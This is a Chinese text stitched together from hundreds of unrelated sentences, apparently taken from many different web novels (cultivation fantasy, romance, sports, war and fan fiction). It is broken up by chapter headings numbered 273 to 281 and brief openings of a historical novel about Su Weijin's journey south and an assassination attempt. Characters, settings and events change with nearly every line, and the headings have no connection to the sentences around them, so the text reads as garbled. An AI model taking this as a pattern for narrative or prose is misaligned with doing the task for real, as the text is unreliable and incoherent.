杨承东苦笑着摇了摇头,包飞扬在这一刻似乎又变成了那个大家曾经认为的太过自以为是的年轻人,修桥与招商引资不同,包飞扬可以通过私人关系,让方夏陶瓷在望海投资,但是修桥涉及到方方面面的关系,极其复杂。
陈辰辨明地球所在方位,不去理会四周纷飞的光束,绕着天王星疾冲而去。
就是天上的黑云都被那充满灵力的箭矢轻易的射出来了一个大窟窿,还击退了黑云之后的那只强悍的妖怪,跟别提那些普通妖怪一下就被刷下去多少了。
随即,在陈羽凡目瞪口呆中。陈晓天和张琴消失后,一把庞大无比的紫青巨剑更是瞬间出现在了天地之间。
后街男孩当年在全球流行乐坛之中所占的地位是不言而喻的,他们是全球最有影响力的乐坛之一,有不少脍炙人口的经典曲目都被传唱了下来。
刘旭将酒杯放到桌上,动作娴熟地倒了两杯酒,然后伸手端了起来,将其中的一杯递给陈立。
“方浩!你难道要看着这些人都被这老头害死吗?”比恩又冲方浩大喝道。
对于修真者来说,如果在冲击境界的时候出现了心魔,那就代表自己的行为已经受到了天谴。哪怕能够侥幸的突破成功,但以后的成就,却也会到此为止,再也不可能有寸进了。
随手一抛,刘炎松直接便是将软鞭扔到了大蟒的身前,根本就毫不担心对方是否会反悔的问题。
第273章 金陵风云起,宴无好宴时
运河如一条蜿蜒的灰黄巨龙,懒洋洋地匍匐在江南水网之间。
船队过了淮安,两岸景致愈发精致繁盛,
白墙黛瓦的民居取代了北方的土坯泥房,市镇连绵,舳舻相接。
康斯坦丁召唤出来,捆住洛基的地狱魔藤被浑身寒气四溢的洛基给直接冻碎、冻裂了。
还不等巴巴罗作死,在刚刚见面的时候,娜姿就表现出一副“再嗦就干掉你”的情绪。
早餐很简单,无非就是稀饭、面包、包子和荷包蛋之类的,罗天阳自然也不会嫌弃,接过一碗稀饭,就着包子吃了起来。期间,他还有意无意地瞧几下,在另一桌吃早餐的完颜杰。
原本的他,以为织田家族里头应该多少会有一些忍者存在的才对,毕竟织田家族和山本家族可是并列为山口组两大家族之一,不过连他也没有想到,织田家族里的高手居然会是阴阳师。
可那新造的生灵哪怕让大神渡入多少的元气,仍旧是泥土一堆,化不得血肉之躯,痴傻呆慢,其本性灵魂根本得不到盘古世界意志承认。
土耳其人接到此命令、像是被打了一支兴奋剂,全体官兵嗷嗷叫着往上冲,已经不管什么伤不伤亡的事儿了。
“恩,你好,我是杜磊。”杜磊笑了笑同他握了个手,他对米国人虽然不怎么感冒,但是最起码的礼貌还是要的。
龙域,天地中一方超级大陆,亦是至尊大陆,光听名字,便知道,为何龙域能够成为至尊大陆。
两头金焰狻猊纷纷低吼一声,两兽的身上,同时爆发出璀璨的金色火焰,火焰包裹着两头金焰狻猊的身体。
黑暗与光明极致交汇,虚空都裂开了,周遭混沌沸腾,却见其中两道身影化作流光,迅疾无比,好似穿越了宇宙洪荒,不及瞬眼,就消失在其中。
夏子轩心思一动,十指一震,十道光芒射向十道方位,没有半点反应,微不可查。
两架歼星艇在他们的头顶起着保护作用,但是歼星艇自己也在蜻蜓的攻击下剧烈摇摆着,要不是有护盾保护,它们也经受不了多少攻击而被击落的。
景容悠悠转醒,慢慢睁开眼睛,刚一睁眼便看到趴在他胸前睡着的慕雪芙。许是昨夜照顾他太累太晚了,她睡得很沉,连景容抚摸着她的脸都未曾醒来。
“梦梦要是死了……”魏正罡突然眉头皱了一下,脸上露出了骇然之色。
伪娘少有的感性起来,尤其是我这一瞬间难免还是有道德绑架的意味,我到底是不能强迫其他人做到什么道德的底线了,哪怕我们心中都有自己的标准,但大部分人还是喜欢息事宁人,这也无可厚非。
林智骁对于上官可卿的疯狂,一时间竟然没了主意,任由她想怎样施为就怎样施为。
现在,他的心神都焕然一新,神识凝练太多了,特别是他灵台处,他那一池神识液都发生很大的变化,都变得凝结太多了。
圣杯,又称天之杯,是基督教的圣物,其中盛有圣子之血,暗示着神哺育世人的意义。拥有最接近于神本体的力量,可以净化所有神造之物,即使诸天之天使也不敢与之力敌。
第274章 盛宴藏机锋,虚与巧周旋
“让方珏捡了个大便宜。”楚留云已经猜到方珏多半是想攻其不备,绕道猛狼关后方去了,所以才让方寸在猛狼关下吸引苍狼王的注意。
楚留云刚撤退,方寸就带着五万士卒,兵临猛狼关下,大军却不做攻击事态,只是在关下安营扎寨,简单做了一下防护阵型。
此时,青莲谷明道殿中,周宇正在与红云镇元子两人论道,说是论道,倒不如说是周宇在为他们讲解仙道之路。
金力公司拥有手机行业的全套核心专利授权,尽管部分授权年限只剩下六七年,但这些授权却不会因为公司股权的转让而失效。
黑色的天幕就像是那巨大的黑色塑料袋,将周围空间笼罩的严严实实的,有种说不出的窒息感。
还没通过缓坡,地面突然颤抖起来,只见战牛和陆行鸟又从前方转角冲了回来。
其实,这几台钢铁战衣和那些还留在伦敦守着次元空间的钢铁战衣本身是没有什么问题的。它们内部系统和贾维斯核心系统出现物理错误的原因其实很简单,那就是古一为了救林锐而出手使用时间宝石逆转了时间。
“我不杀你,只想让你过来,让我亲一下。”方珏有些轻浮的语言,是想在李湛然面前表明自己与他一样,只有这样,才能更有把我的救两位姑娘。
方珏看着千默,千默也看着方珏,两个男人就这么对视了几秒。千默看着方珏真诚无害的眼神,本以为方珏会告自己故意行凶之罪,要是这样,即使身为王府侍卫首领,按照天朝律法,自己也将被处死。
大少爷生病了,方府上下又开始忙碌起来了,过几日方珏就要去京城长安了,想必是这方珏少爷想趁大家还在,再多折腾几次吧。
于是皇帝在脑中一个个过滤着可以任用的人选,但是朝廷内有能力的大臣每每却都是只知道忠于太上皇,或者又是些墙头草,而剩下表明了会效忠自己这个皇帝的,不是忠心有待确定,就是能力太差恐怕反而误事。
精神力量干涉现实的限制被狠狠的冲破,精神上限开始疯狂的提升起来。
在彻底完成身体的微调蜕变之前,李墨是不打算出去的,他要好好享受家的温暖,缓解别离的痛苦,然后重新振奋夺回老窝。
这颗要挑战的朱雀星,难道也跟天运祖师有关系?怎么没听说过呢?否则就不可能会内部打起来了。
少尉痛苦的喊叫着,当赵大铁走到他身边时,少尉绝望的闭上了眼睛,等待着死亡。
金明哲脖子有伤,暂时不再审讯,德国人和意大利人暂时被关押。
林希儿已经默默地开始决定其他的事情起来了,以她自己的名义,只要林希儿觉得很不错的事情,立马就可以得到改变的。
下一刻,近七百只绑着炸药包的箭枝,被点燃了导火索射向了溃逃的吐蕃士兵。
就算他是研究家,是高级研究家,但并不意味着他就洗脱了嫌疑。
他一声令下,一个保镖冲向了戚曼青,另一个保镖比起拳头就往陆然身上招呼。
因为无人踏足的缘故,有种一尘不染的美丽,像是世外桃源一般醉人。
上官芷溪嘴边带着冷笑。慕容凝月,你该庆幸了,为了对付你我已经把我的底牌都拿出来了。
同时孙氏也叮嘱姐姐大孙氏,既然杨华梅照顾家里的猪肉生意,那价钱这块也要给杨华梅让利。
吼!然而就在楚飞扬的手指下落时,一股如山般的咆哮声却骤然传来,宛若一根利刺般,狠狠的进入到了他的心中,让他心神一阵恍惚,随后那凝聚而出的穿天,便因为心神恍惚而消失。
但世界之大,总有些意外,极少数的野参能超过这个生命期,达到七八十年甚至上百年,按照三十年为一品,六品参,就是指年份超过一百八十年的野人参,价值连城,有价无市。
一会儿的功夫,他已经给夏唯希变了三个称呼了,池原夏翻了个白眼,也懒得再去跟他计较。
谢婉瑶把目光别开了,也不知道在看着什么,冷漠的神色看不出什么情绪。
明明是楚朝阳先出发,先到家的却是沈佳琪跟楚天骐。俩人商量好,打游戏打通宵,第二天睡一白天,不理那俩腻腻歪歪的家伙。
现出本体的猪妖,彻底陷入地下,身上有妖血迸发出来,发出一阵阵嚎叫,已然是受到重创。
等到他走远后,她才压低声音说道,“血祸指的就是尼卡纳多变天。这个称谓是鲲鹏神教凤凰宫传下来的,有充足的理由认为所指的是剿灭鲲鹏神教。”说完瞥了一眼苍鹰和那些黑衣卫。
鸦神当即就跳了起来,道:“你现在是什么身份,你丫自己心里没点数吗?
“看来我们以后可以打招呼了。”霍南斯丁笑了笑,他感觉罗曼对他的回答漫不经心的。
到底还是年轻,很多情绪都喜欢摆在脸上,让人一眼就能看出来。
结果马上就要夹出来的娃娃,被她这一手误,爪子忽然就松开,那娃娃就掉了下去。
你看你生的如花似玉,又正值风华妙龄,可不能一味的将光阴放在修炼上,知道吗?
虽然这奇门就如修仙一般讲究一个‘灵缘’,但它却又与武林一般讲究一个‘苦练’——想学成奇门,是必要耳濡目染十数年,方能点通灵窍的。
转盘高速旋转产生的极大的离心力会成为场上两人需要一直克服的不利条件。
然而,迎接他们的,并不是热闹中又透出独属于家的味道的饭菜香,昏黄又温馨的灯光和偶尔被微风送到耳旁的说笑声,而是一地的冷清,以及,走动呼吸间就到处飞扬的尘土。
第275章 超脑急推演,杀局渐清晰
净室门在身后轻轻合拢,将宴厅的喧嚣短暂隔绝。
廊下夜风微凉,吹在苏惟瑾脸上,却吹不散他心头骤然凝聚的寒意。
他脚步未停,依旧保持着适中的步伐向宴厅走去,
面上甚至重新挂起了那抹谦和得体的微笑,
一副方才那惊心动魄的插曲从未发生的样子。
张春阳将锅端离火,将一大锅鲜嫩的野山菇倒进一个硕大的菜盆里。
“还没有,刚才海江特警大队的队长回去了,准备亲自去审问。”韩琛的表情有些懊丧。
凤夕诺将自己和姒妗的计划,以及姒妗如今的情况都告诉了司锦和司寒。
炉灶的火映红了苏巧慧半张脸,她眼睛酸酸的。别人家男人能走的都出去打工了,隔不了两年就回来盖房子买收音机买衣服。只有韩大山守着山里这一亩三分地,一年干下来连饭都吃不饱。
等吴氏放手之后,目光悄悄的扫向门外己经消失的人影,嘴角勾起一个得逞的笑。
姜秀荷看着李梅香所说的挺漂亮的描述,眼睛眨巴了一下,她妈是不是对漂亮这个词有什么误会?
为了解除炎热,“魔法之神”胡德克伦变出了一辆装满冰块的马车,让众人坐了进去。
这次,阿衍是真的恼怒了,一张俏脸涨的通红,恨不得一巴掌将恬耀扫下碧玉去,虽然心中隐藏的秘密不多,可这仅有的一点点隐私,也给他看个精光,而自己竟然毫无还手之力,只能任凭他为所欲为。
“你怎么会有这些东西?”天涯惊奇不已,冰蚕丝是他只在强者口中才听到的字眼,现在实物竟然就在他手中?
没办法,家里答应了,说订亲的时候,要一千块钱的手绢,玉花把这事跟保家一提,保家就发愁了,不过他没跟玉花说,只是说没问题。
“打狗也要看主人,萧子川毕竟是北院弟子,他虽犯了死罪,但看在北琴院长的面上,咱们也得给他一条活路不是。”鄂脉法相很大度的样子。
“不用谢,在我们看到有一具无头的尸体在哪里的时候,我们就猜到你要收集这些人头,至于下一次你千万不要再闹出这种麻烦了。”之前那位中年男子听到叶枫的话语,对其开口道,而后他又一次闭上双眼打坐吐纳起来。
很多士兵和将军都没有杀过瘾,就这样的跑了这些元军,心中肯定是充满了不解,不知道在初期制定这个战术的赵天佑,葫芦里卖的是什么药。
最可怕的是,扇面打开,漆黑一片,虚空之中好像无间地狱降临,无数哀嚎的声音,伴随着阴风阵阵,摄人心魄。
而且刘贤在刘家的身份毕竟极其的尊贵,而且过几天还要和家主刘耕进行丹道比试,在场的大多数人都是不愿意去得罪他的。
格兰芬多双手抱头枕在脑后,双眼直愣愣的盯着暖色调的屋顶,似乎在神游,又或者在思考着他自己的事情,也是一副让斯莱特林自生自灭的样子。
其他人的话,几乎没有现实游戏都跟何尊在一起的,安熙儿说有人潜伏在他身边,这个消息可信度不高。
一抬眼,只见邻桌坐着东方汉,看见秦质洁微笑点头示意,清晓师太冷哼了一声,秦质洁只好装作不知道。
李雷拿过手机,将里面关于下蛊毒的短信也翻了出来,让萧颖儿拍照,存作证据。
第276章 金蝉脱壳计,暗箭待谁发
没有想到,我刚刚起身,就看到暗拳暴起,挥拳直接打向这个妖帅首领。
而在剑光出现后便蜷缩一旁,并未帮上忙的青狮,见李式忙于修补天地,便蹑手蹑脚来到了大佛的金身旁。
视频的开头便是一个青年举着手机闪光灯,好像是在探索着什么。
原来,在天诚理工大学战胜京天大学后,就有三家老牌俱乐部来向朱帝、孟郎、庚浩世邀约。
他听从林长老的意见,挑选了钟鼓之身和宝塔桩两门武技来锤炼身体,强大意识。
客房里又黑又暗,隐隐约约传出来孩子的哭声,胡丽娜却全然不管,舒了口气,回卧室躺着生闷气去了。
天魔剑尖上发出的蓝色的剑罡又一次袭击着红线,大司命不断地将体内的能量贯注到天魔剑,他自信体内有着源源不断的能量,最终一定会摧毁对方的防线。
钟清说完,带着刘爱明离开了我的宿舍,开始按照我的办法实行抓内鬼的行动。
经脉受到内气的冲击,也是一阵扩张收缩,还未堆砌成形的石气,伴随着内气同样涌入了丹田中。
不知道是不是因为一路有克里斯特相伴,四周黑雾里尽是满含贪婪的恶意,却没有跳出任何吓人的怪物来一求决战。
不过,蔓菁证实了这土地真的能种东西之后,她的脸上满是笑容,她打算以后将这里多种上蔬菜和水果,这样的话,她和香蒲以后也不会饿肚子了。
慕容冲一口吞下嘴里的菜,神色不自然起来。瞥开目光又情不自禁地移回来定在天娇的双眸上。
然后,艾丽卡很自然地,就知道了如何接受这一份神明的礼物了。
摸清了详情,骆千帆把崔建设瞒天过海收受古玩贿赂的选题报给了鲁鸣。
肯尼西亚王国的巴克斐雷较为接近曾经见过的感觉,但是在直觉上,他却觉得在战场上遇见的金发男子,才是真正的巴克斐雷。
这些阴森森的血腥之气,被杨王的正念气场一冲,顿时消失干净。杨王运用起魂力,抓着枪身挥洒起来,竟然挥洒自如,使用得相当顺心、应手。
“报吧,报警了我堂弟被撞成内伤私了的事情,就可以重新翻盘走法律程序赔偿了。”姚俊鹏这时候恢复了他的口才,话中带话地提醒周丽菁道。
在旅馆大堂的一角找了个空桌坐下,诺兰立刻招呼来老板,吵着要喝酒。
年轻的少年站在自己的面前,脸上的表情像是在说“我就是来寻死的,你能把我怎样”。
就在夜枫准备进去的时候,突然峡谷内传来一阵争执声,他耳朵动了下,顿时脸色一变,脚掌一弹便是向峡谷内冲了进去。
钟塔下只有两队行尸走肉在轮流巡视。不知道是顶层的东西艺高人胆大,还是其他什么原因。塔下的行尸走肉们的行动缓慢又迟钝,巡逻的路线单一,想要冲进去并非难事。
苏安被饿鬼附生之后,体力、敏捷都远超常人,虽然之前被叶芷一顿暴揍,但身体素质还是比邵询这个普通人要强得多。
“呃!”杨是非郁闷不已,这也叫功劳和苦劳,蓝紫萱也是真能够找理由的。
程清寒微微皱着眉头,而且,和“九龙锁魂阵”无关?那难道和天泽有关?
凌玥赶紧低下头去,可不是嘛,若是再走神片刻,弦断当场,定要传将出去被人耻笑了。
叶雪英不想看着自己的人死掉,更不想李氏出什么意外,一旦发生战斗,刀箭无眼,天知道会发生什么事。
灵斗境强者!!!闻言,夜枫吃了一惊,怎么也不会想到这丹泉深处竟然埋葬着一位灵斗境强者。
“二号、三号,汇报战机受损情况!”一号长机最先回过神来,下意识的进行规避,同时呼叫自己的队员。
若是换做了他,大可以借此机会上禀陛下。这样一来,近可解眼下情急,远更可成为国之栋梁,陛下得力的左膀右臂。
“既然这样,那我就不等了,我还要回去忙。”柳高泽说了一声,就匆匆离开了房间。
唐明捂着脖子,难以置信地看着柳梦婷,这丫头是疯到了什么程度,竟然连他都杀?
就算度而言,雄毅远不是妹妹雄颖的对手,可是一身力道旁人却难以企及,万里争雄有自信能躲过或者接下,只是对方力道很强,就算是格挡也叫自己十分难受。
他们也知道清月帝君和明月帝君势单力薄,但他们在给自己打气,找理由说服自己。
虽然说对于“没见过世面”的杨逸来说,十万积分就已经很不少了,但是一想到自己可是足足有一亿多人观看,他就有些忍不住想了解一下。
在神话传说中,这里是人族的圣地,也是人族的起源地,充满传奇色彩。
他刚才说的不过是客套话,其实心里巴不得对方炸刺,这样一来自己也能好好松松筋骨。
络腮胡似乎是感受到了眼前的年轻人眼中的锐气,恶狠狠地朝他挥来长满长毛的强壮利爪。
第277章 箭雨袭空鞍,死士断线踪
“希律律——!”
“追云”的嘶鸣凄厉破空,在幽静竹林中回荡,带着药物催发下的狂躁与痛苦。
它人立而起,赤红的马眼瞪得溜圆,
鼻孔喷着粗重的白气,
不再听从背上骑手的任何控制,
猛地一甩头,四蹄发力,
竟拖着几名试图拉住缰绳的护卫,
一头撞开官道旁的灌木,向着竹林旁一条荒草丛生的偏僻小径狂奔而去!
“可是光荣榜前面的东西没有这么全吧?”李强假装不太相信地继续道。
所以,世间公认命轮只能修炼到九重,命轮十重以上,那就是一个奇迹,神话,传说。
毕竟付无涯现在的身份是保镖,而白慧心又有事住院,他的确应该马上回去。
肖羽刚一出关,几位将军就围了上来,经过这段时间的休养,以前受伤的各位将军都已变得神采奕奕,看着比往常精神许多。
他一步越过杜峰,终于停了下来,距离楚玥玟仅有一步,淡淡一笑,缓缓地朝着她伸出手掌。
魔祖峰,是魔族的最中心地方,哪里有魔族最高的山,最大的城,最强的魔族人。
李强一看,也懒得跟他计较,毕竟这孩子眼下知道拿一道题来糊弄自己,跟着以前比起来,就已经算是相当大的进步了。
客厅里的气氛顿时显得有些安静,最终所有人都把目光集中在数位阴阳境强者的身上。
陈家中年汉子原本还有些戏谑的眼神瞬间变得阴狠起来,之前他之所以抱着戏谑的态度,是因为他觉得只要报出他们陈家的名号,这两人不立马跪下投降就不错了。
陆南念念叨叨上了车,王飞刚刚启动车,手机就响了,他看了一眼扔给陆南。
不少中国的球迷对这场比赛关注度也很高,对阵双方,都是目前一部分中国球迷最关注的球队,皇家马德里,自然不用说,世纪俱乐部在中国有不计其数的球迷,而阿贾克斯,人们更多关注的不是这支球队,而是金远。
说是这么说,可林鸿飞心却不免有些遗憾:最顶尖的那一部分人才早已经被西方的那些混蛋大集团、大公司给抢走了。
然而就在这时,天空之中,突然再次出现了一道道薄薄的能量薄膜,飓风至尊冲击在上面,竟然被反弹了回来。
萧问在荒古海息里清楚地看到那家伙在飞行八手八脚齐舞,只盯着看了一瞬间便差点被恍花了眼,连忙不看了。
而现在,如果他无法防守住吴大伟的攻击的话,那么对于迈阿密热火队而言。他们现在也将会遭遇到继续被拉开比分差距的危机。
当然可以想见的是,如果不认真清洗,那些粮食显然并不怎么好入口,尤其是对于那些受到某个地方的影响,吃东西越来越精细的家境富裕的子弟们而言。
博格坎普手上拿着两份资料纸,递给了约尔,约尔接了过来,看了一眼上面的标题“球员身体素质检测结果”,立刻明白了大半,不出所料的话,又有球员受伤了。
谢凤英反应过来,和张秀云一起帮着劝。刘梅脑子这时才转过弯,想到这孩子脑子聪明,揍人挺狠,做事还稳当,看着陆南的眼神未免带了点敬畏,拉着谢凤英两人不停的说着感恩的话,又把储凤父亲储满堂骂得狗血淋头。
“哼哼,那你原先同我的旧账就算了?”梁丰放下酒盏,恶狠狠道。
第278章 微痕锁真凶,暗指向东南的
竹林间的血腥气尚未完全散去,
泥土已被悄然翻动,掩盖了方才的杀戮。
队伍暂时停驻在一片相对开阔的河滩地休整,护卫们在外围警戒,眼神锐利如鹰。
周大山指挥着人手处理伤患,埋锅造饭,一切井然有序,只是气氛比之前凝重了数倍。
飙车过后,本来晨风是打算请方静吃个饭的,但是见天色已晚,而且方静今天也有些累了,所以只能推到别的时间了。
老太君看着绾起发丝的萧希微,郁结已久的心情也微微舒展了些,可随即想起已故的陈氏,心里不免有些触景生情。
当然,中年男子并不知道,其实这位青年只是觉得除了刀法外,其他的招式在他眼前都是渣,没有注意的必要的话,不知道中年男子会怎样想。
而此时的商玲玲,似乎并没有在人前的那种美丽大方,有的是一种阴冷。
师傅叹了口气说,好吧,我试试,师傅走到火麒麟的面前,严肃的问,恩,这个,我徒弟想让你当他的坐骑,你愿不愿意?
沉吟了片刻,晨风决定两个律师都用,各自倒了水之后坐在了一起开始商量如果打下这场官司。
“谢谢大夫,谢谢大夫!”少年的母亲一边掏钱,一边对沈大夫表示感谢。
解释一下为何是三人:汪离柯境界太低,陈天并没有他参与,他只是让汪离柯好好修炼。
? “怎……怎么可能。 ”看到蔬菜人被如此轻松的击倒,那霸一脸不可思议的表情。
手持一柄邪恶到了极致的长刀,这一柄长刀锋利无双,闪烁出妖异的气息,正是那邪魔刀。
“我也不为难你们,我们平辈论,你们叫我名字,我也叫你们名字就可以!”还虚高手有点无奈的说道。
“可是,能破解吗?梅姐姐你有这个把握吗?”盘宇鸿不有点不确信的看着梅雪莲。
就连城西派出所也受到了连累,所长被党内严重警告一次,估计在这个位置上要待到退休也不会有任何的进展了,几名警员被记大过,以后不做出点大成绩,想升职有难了。
关山岳在黑风之中摇荡,周身溢出了一股青色的光芒,将自己护在里面,如果不是苏铮破掉了符纹大阵,他现在恐怕也早就被黑风之力给磨灭。
赤阳仙君立刻走上来,查看了一下海无明的伤势,发现后者的体内已经被一股强大的剑意给震碎了心脏,活不了多久了。
这一掌,如同是天外之手一般,蓝芒如神灵的光辉,生猛的压制下来。
“燕将军,这是为何?”还未等卿鸿开口,众人便急切的问道,在他们看来,第二种方式不是更好吗?
在纱布的末尾打了个结,她缓缓抚摸卡兰的双眼。少年此时还在沉睡,那惯常紧抿的嘴角松弛着微微上翘,仿佛入睡之前还带着微笑。
林雨鸣本想客气客气,但今天酒喝的不少,有点头重脚轻,一屁股坐在沙发上,不想再动了。
葛德胜忍不住从心底祈祷,要是有奇迹,他真愿意皇贵妃在大火前被什么人带走了,也不用这么凄凉的丧命火海。
正道喊杀声震天,很多鬼族部众投降了。二鬼王见势不妙,化光逃走了。
“我需要仔细检查你的身体,融合各族精血……如果只是能量也就罢了,看样子你融合的不止是单纯的能量。”幽灵语气有点怪异。
第279章 暗线浮光掠,谁人递警音
车辚辚,马萧萧。
离了那染血的竹林,南下队伍的速度并未减缓,反而在苏惟瑾的默许下,稍稍提快了些。
车轮碾过官道的尘土,也将方才那场短暂而血腥的遭遇战甩在身后。
只是空气中,似乎还残留着一丝若有若无的紧绷。
青篷马车内,苏惟瑾并未因反杀成功而有丝毫松懈。
远古修真时代,曾经出现过孽果林,然后之后500年,气候变暖突发大水。高阶修士只好带着幸存者乘着飞舟强行突破界面去了其他的位面。
到了一个楼顶上耸立着一头石头狮子的宾馆,见到安达卢的三个手下,都是一等一的好手,个个精明能干,一个叫达尔,一个叫班余杰克,最后一个薄嘴唇的叫鸠德利。
杨水灵并没有出现琅明意料中砸酒杯或者扔盘子的举动,相反,她竟然笑了,而且是春风化雨夏花灿烂令人眼花的那种笑容。
“哼!王八羔子把她抓去做实验了!”说道这里的时候李汉的眼睛都红了。
秦北风带着他的孩子在中华各地有名的景区转了转,三个月之后,在首都机场包了一架飞机,直飞兰贝地区,兰贝已经有了华人移民三万多人,在当地建立了几十家环保高效的工厂,一个像模像样的城市已经建好了。
“冰封术!”王霖枫和许慧琼第一时间又向老倭狗丢了个冰封术过去,一副你能奈我何的架势。
“那么我们去看看他吧,我想用风筝游览整个耶路撒冷。”秦风站起来说道。
颜凄凄手中那暗淡而瘦弱的紫光流溢出来,朝毛球管家而来,毛球管家并没有躲,这紫光其实已经没有多少杀伤力了。
一切迹象表情叶氏是潜在的庞然大物,日本人的威胁,方董事长的失踪,只不过是个机会,一个锻炼年轻人的机会,日本人只不过是块试金石。
就在两人谈笑之时,雷天突然变的谨慎起来,李云见雷天脸色一变,疑惑道:“雷兄弟,怎么了?”说完,便开始摇望四周,只见四周的海面十分平静,但是却平静的出其。
这些神仆的疯狂状态,莫嫣两人看在眼里,眼圈已经忍不住渐渐红了起来。
老薛这人还是有数的,他提醒大家先灭魔胎。灭了魔胎,再集中力量杀死这头域外天魔。因为魔胎不死,就还会有魔种源源不断的撒下,域外天魔会一茬儿一茬儿的长起来。
“哀家让你替皇上去除掉苏婉、上官飞。”太后阴沉下脸、把茶杯狠狠一攥,然后重重往桌上一跺。
当然了,我也会画一些仙竹居里的符箓,以备不时之需,也可以给月兰她们使用。
“天高皇帝远,再说这里可是王爷的天下?识相的闭上耳目、投靠王爷。如若不然,今天就是你的死期!”童成威吓道。
十方本来还打算问烟寒水什么来着,结果烟寒水这时候用手试了试缸里面的温度,然后对着十方说道:“我要洗澡了,你自便把……”说完直接把白云禅师给她的那个裹身体的布丢给了十方。
其实他一开始就知道,投靠曹操只不过是为了自己将来做打算,说起来只能算是个趋势附炎之徒而已,有没有他的出现,曹操都能建立一统天下的基础。
温柔的声音在耳边响起,古锋微微转头看过来,一个熟悉的面庞出现在他眼前。
第280章 江陵逢大贤,心学映古今
刺杀的风波如同投入江河的石子,激起涟漪后,终被奔流的江水裹挟而去。
苏惟瑾并未因此龟缩不前,或是改变既定路线隐匿行踪。
超频大脑冷静地推演出,对方既已动用死士,一击不中,必然还有后手。
躲,是躲不掉的。
宽广的偏殿里仅仅只点了十几盏香瓜式薄纱宫灯,不过照亮方丈之地。
这次项少虎的动作可着实把他惊到了,燕国四洲,除开官洲外,其他三洲同时受到了悍匪的袭击,这的需要多大的人力,这让他再次面对项少虎的时候,更加服从、低调起来。
别说天道宗与剑宗已经是仇人了,就从她也是天道宗弟子的份上,就不该要简若尘向丰智鸿道歉。
再加上河这边的荒地和河堤之间有落差,而且又都是黄土,用推土机推平的话,确实可以用很低的成本夷出一大片适合建造房屋的平地来。
背后令人心颤的两团柔软让楚征身体略微僵硬,玉梦玲声音微颤着说道:“奴家不是放纵的人,但奴家不想生活在恐惧和紧张里。”芊芊玉手环腰轻解衣带,长袍滑落……楚征浑身精光跨进浴桶,目光炯炯的看着玉梦玲。
哀悼占据了内心,宁安用悲伤封闭了大脑,他的思维重新理清,杂念也好、胡思乱想也好、甚至是窗外黑色大海发出的阵阵海浪咆哮,都无法侵入他的内心,他重新冷静下来。
他也可以预见,经过这一波宣传,食品加工厂的销售额又会呈现出一波爆炸式的增长。
“我们俩联手,浪费两枚玉符,出其不意,至少可以全身而退。”范安贵说得竟然如此保守,到让简若尘觉得不可思议。
这个动静,在第一时间便被城外明军发现了。谁也没想到的是,那些明军一看到城门打开,吊桥放下,第一个反应竟然不是蜂拥而入来攻打城池,反而“哄”地一声,全都撒腿就跑。四面八方,那个方向都有,跑得到处都是。
宁安郁闷地揉了下肚子,刚醒的时候不觉得,反倒是现在肚子开始咕咕叫唤了,睡了一晚,现在正是吃早饭的时候。
兰陵王给她掖了掖被角,有一下没一下的给她顺着头发,语气难掩疲倦,却依旧温柔缱绻。
她怀个孩子,隔三差五的就得动动胎气,着实将身边的人吓得不轻。
然后他一时接受不了打击,便精神崩溃了。然后看见她的时候,便将她当成了他口中的夕夕。
正是如此,家中没一个讲理的,所以好好的日子才过得这么不安生。
因为和两个姑娘一起,唐州也不方便坐在后座,于是就坐在了副驾驶上。
诸葛亮以灵力幻化出那块元神碎片,萦绕的光晕灵气,确实是属于白倾烟的灵气。
“雨薇,你放心吧,现在已经有人从京都过来调查以前的事情了,如果你真的是他们家的孩子,那肯定能回到自己的家里去的!”唐歌说道。
没受伤的变异猛虎以为喵大人要趁势扑向被打翻在地的变异猛虎,于是趁着喵大人不备的间隙,猛扑而上张起巨口,森寒的巨齿就要插进喵大人的脖子。
等到入住新家之后,百里刑才询问郝欣的打算,“师妹,你准备怎么做?要报仇的话还需要从长计议。”他没叫郝欣,而是改称师妹,他原本就是大师兄,如今也有元婴修为,这样称呼倒是也没错。
第281章 舟中夜话启,心学映今辉
耳边突然传来叮叮叮的响声,熟悉而久违的声音让李恬儿的大脑有一瞬间失灵。等她脑袋清醒目光清晰的时候,她看到了眼前那个粉红色的人气值数字正不断往上飙升。
就那皮肤水嫩的,满满的胶原蛋白,更觉得是脸上一点皱纹都没有了。
吴淮森知道,冉暮这是要揭露身份了,原本还能再等等的,可是因为这次的事,她只能提前揭露了。
走出黄莹的帐篷,王大明一声长叹。黄莹虽然身体没有大碍,但是精神上的损伤十分厉害。这得靠以后慢慢用时间去疗伤了。
“人都不在这里了,还能因为一封信让府里上下劳师动众,还真不是个省油的灯。”裴氏气愤的捏着手里的茶杯。
新一任的盟主由一年后的第一届“天下第一异能会”产生。因为前谋帅叛逃的缘故,本次大会的参赛人员必须是在第二次异能大战中有显著战绩的。新人异能者不得参加。
后来离婚后不知道什么原因,我当时还以为是因为我心情不好的问题,反正就是越来越瘦越来越瘦了。
这镇子主街也就三四百米,王大明走上几分钟就能全部走完。这街上全是些三三两两背着矿篓,拿着镐子的矿工。
林毅立即派出张华,二虎,贺涛和王琪四人个点一百骑兵,带着他的令箭从四门出发,方圆十里以内的,接老百姓进城,能拿的东西一定要带进城中来,不能拿着全部烧了,不能留给鞑子,从现在开始,半个时辰之后关城。
闻言,青衣城隍猛地射出,化作一道妖风就卷起了庙祝,直射镇中神庙而去,准备来一场盘肠大战彻底降伏妖精。
六千斩刀芒,配合五品岳阳刀,展露出的威力,超过一般的五品之术。
如此大量的细微调控,也消耗了彭力大量的灵识,眉心处的元神不由传出一股虚弱感来。
对,我应该是喜欢下雨天的,只不过身上的衣服有些湿漉漉的,如果有一身雨衣就好了。我喜欢红色的。
一个很不错的荣誉名头,没什么实权,也不用干活,每月能从北学院领到一份薪金,与一些其他的福利。
这是什么情况,奋力挣扎,张云集只能感觉到束缚越来越大,身体就像是被巨蟒缠绕着一样,收紧的绷带,就像是索命的绳索,直接将人的血气给吸收。
没错,他目前暗地里在运转功法恢复精神力,刚才损耗太大,灵力匮乏严重,不然他也不会被张三抓着空子,对他进行大肆诬赖。
姮娥话语非常的激昂慷慨,慈眉善目,上善若水,大爱无疆,这一刻的她浑身布满浩然正气,其实她本就是正义凛然之人,能够表现的如此强硬也是正常。
就这么几个起落,陈曦微再次来到被刷下来的地方,第十块石头。
“明儿,本王带你出去可好?”顾凌玟揉着她的脑袋,温柔至极地说道。
听到吃的,彭力顿时连连同意,他也想去见识一下八大菜系之一的闽菜,于是当场同意了。
“我最讨厌妹妹这一套了,既然你这么说,我亲自去找找看。”诸葛果娇哼一声,不悦的说道。
当然了,在组成了联军之后,那碰面的可能性还是很大的,但这种事情,在战争中本来就是没办法的。
